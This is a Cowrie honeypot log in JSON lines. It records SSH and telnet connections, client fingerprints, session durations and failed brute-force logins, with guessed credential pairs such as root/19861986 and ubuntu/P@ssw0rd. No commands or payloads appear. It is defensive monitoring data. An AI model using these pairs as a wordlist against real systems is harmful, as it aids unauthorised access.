{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:01.227696Z","src_ip":"31.40.204.166","session":"d1d412056c9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:01.395130Z","src_ip":"31.40.204.166","session":"d1d412056c9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49074,"dst_ip":"10.17.0.5","dst_port":23,"session":"398c58bf99e5","protocol":"telnet","message":"New connection: 152.42.224.71:49074 (10.17.0.5:23) [session: 398c58bf99e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:02.017462Z"}
{"eventid":"cowrie.session.closed","duration":42.85581684112549,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:02.126629Z","src_ip":"152.42.224.71","session":"a3383d45c5e2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:02.287765Z","src_ip":"31.40.204.166","session":"d1d412056c9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:03.420784Z","src_ip":"31.40.204.166","session":"d1d412056c9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":47100,"dst_ip":"10.17.0.5","dst_port":22,"session":"70a65dce78da","protocol":"ssh","message":"New connection: 103.77.175.15:47100 (10.17.0.5:22) [session: 70a65dce78da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:06.541254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:06.544847Z","src_ip":"103.77.175.15","session":"70a65dce78da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:06.801970Z","src_ip":"103.77.175.15","session":"70a65dce78da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19861986","message":"login attempt [root/19861986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:07.575397Z","src_ip":"103.77.175.15","session":"70a65dce78da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:08.836361Z","src_ip":"103.77.175.15","session":"70a65dce78da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00260353088379,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:09.935192Z","src_ip":"152.42.224.71","session":"f5bf8386be2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0015013217926,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:10.654746Z","src_ip":"152.42.224.71","session":"467e4f857afd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37550,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fed9d89ad34","protocol":"ssh","message":"New connection: 31.40.204.166:37550 (159.203.135.109:22) [session: 7fed9d89ad34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:13.109264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:13.181138Z","src_ip":"31.40.204.166","session":"7fed9d89ad34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:13.301919Z","src_ip":"31.40.204.166","session":"7fed9d89ad34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57050,"dst_ip":"10.17.0.5","dst_port":23,"session":"50fbe6d95970","protocol":"telnet","message":"New connection: 152.42.224.71:57050 (10.17.0.5:23) [session: 50fbe6d95970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:13.790235Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57062,"dst_ip":"10.17.0.5","dst_port":23,"session":"18170e1ff632","protocol":"telnet","message":"New connection: 152.42.224.71:57062 (10.17.0.5:23) [session: 18170e1ff632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:13.812817Z"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:13.885613Z","src_ip":"31.40.204.166","session":"7fed9d89ad34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.001953125,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:14.323976Z","src_ip":"152.42.224.71","session":"fe50328bb462","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:15.094726Z","src_ip":"31.40.204.166","session":"7fed9d89ad34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.02415156364441,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:15.953279Z","src_ip":"152.42.224.71","session":"a813928d359b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.89132022857666,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:16.529989Z","src_ip":"152.42.224.71","session":"8c5b3eb1e47e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51480,"dst_ip":"10.17.0.5","dst_port":23,"session":"03cf33437b14","protocol":"telnet","message":"New connection: 152.42.224.71:51480 (10.17.0.5:23) [session: 03cf33437b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:17.038762Z"}
{"eventid":"cowrie.session.closed","duration":120.00265002250671,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:18.175680Z","src_ip":"152.42.224.71","session":"3e8e5a7d78af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":51506,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc07641cb4f6","protocol":"ssh","message":"New connection: 81.9.145.130:51506 (10.17.0.5:22) [session: bc07641cb4f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:18.446080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:18.450584Z","src_ip":"81.9.145.130","session":"bc07641cb4f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:18.567068Z","src_ip":"81.9.145.130","session":"bc07641cb4f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"legolas","message":"login attempt [root/legolas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:19.047397Z","src_ip":"81.9.145.130","session":"bc07641cb4f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":115.48047137260437,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:19.173675Z","src_ip":"152.42.224.71","session":"5bfe2327a1cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:20.162845Z","src_ip":"81.9.145.130","session":"bc07641cb4f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.025815963745117,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:20.920739Z","src_ip":"152.42.224.71","session":"5e40782727f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51490,"dst_ip":"10.17.0.5","dst_port":23,"session":"804a64941e89","protocol":"telnet","message":"New connection: 152.42.224.71:51490 (10.17.0.5:23) [session: 804a64941e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:21.792340Z"}
{"eventid":"cowrie.session.closed","duration":33.427146434783936,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:22.052814Z","src_ip":"152.42.224.71","session":"c95532b88823","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":46330,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6f6b0d586c6","protocol":"ssh","message":"New connection: 103.91.246.101:46330 (10.17.0.5:22) [session: d6f6b0d586c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:24.022632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:24.029018Z","src_ip":"103.91.246.101","session":"d6f6b0d586c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42606,"dst_ip":"159.203.135.109","dst_port":22,"session":"da8414460a40","protocol":"ssh","message":"New connection: 31.40.204.166:42606 (159.203.135.109:22) [session: da8414460a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:24.210844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:24.215035Z","src_ip":"31.40.204.166","session":"da8414460a40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:24.237443Z","src_ip":"103.91.246.101","session":"d6f6b0d586c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51500,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f19c9e9305d","protocol":"telnet","message":"New connection: 152.42.224.71:51500 (10.17.0.5:23) [session: 0f19c9e9305d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:24.316961Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:24.502555Z","src_ip":"31.40.204.166","session":"da8414460a40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:24.991048Z","src_ip":"31.40.204.166","session":"da8414460a40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redwater","message":"login attempt [root/redwater] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:25.104922Z","src_ip":"103.91.246.101","session":"d6f6b0d586c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:26.316351Z","src_ip":"103.91.246.101","session":"d6f6b0d586c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:26.580499Z","src_ip":"31.40.204.166","session":"da8414460a40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":33858,"dst_ip":"10.17.0.5","dst_port":22,"session":"120056b47661","protocol":"ssh","message":"New connection: 89.223.69.22:33858 (10.17.0.5:22) [session: 120056b47661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:26.664443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:26.672709Z","src_ip":"89.223.69.22","session":"120056b47661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:26.785013Z","src_ip":"89.223.69.22","session":"120056b47661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456852","message":"login attempt [root/456852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:27.122804Z","src_ip":"89.223.69.22","session":"120056b47661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.511250019073486,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:27.504051Z","src_ip":"152.42.224.71","session":"c3b630cf63a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.29409909248352,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:43:28.171337Z","src_ip":"152.42.224.71","session":"0201d96cb8aa","protocol":"telnet"}
